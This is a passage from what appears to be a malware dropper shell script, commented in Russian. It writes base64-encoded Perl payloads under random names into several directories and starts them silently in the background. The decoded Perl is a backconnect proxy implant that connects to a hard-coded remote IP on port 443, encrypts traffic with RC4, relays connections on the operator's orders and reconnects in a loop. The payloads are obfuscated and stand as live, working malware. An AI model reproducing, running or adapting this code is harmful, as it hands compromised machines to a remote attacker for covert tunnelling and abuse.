LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #36 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #36 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 37 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODUnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk 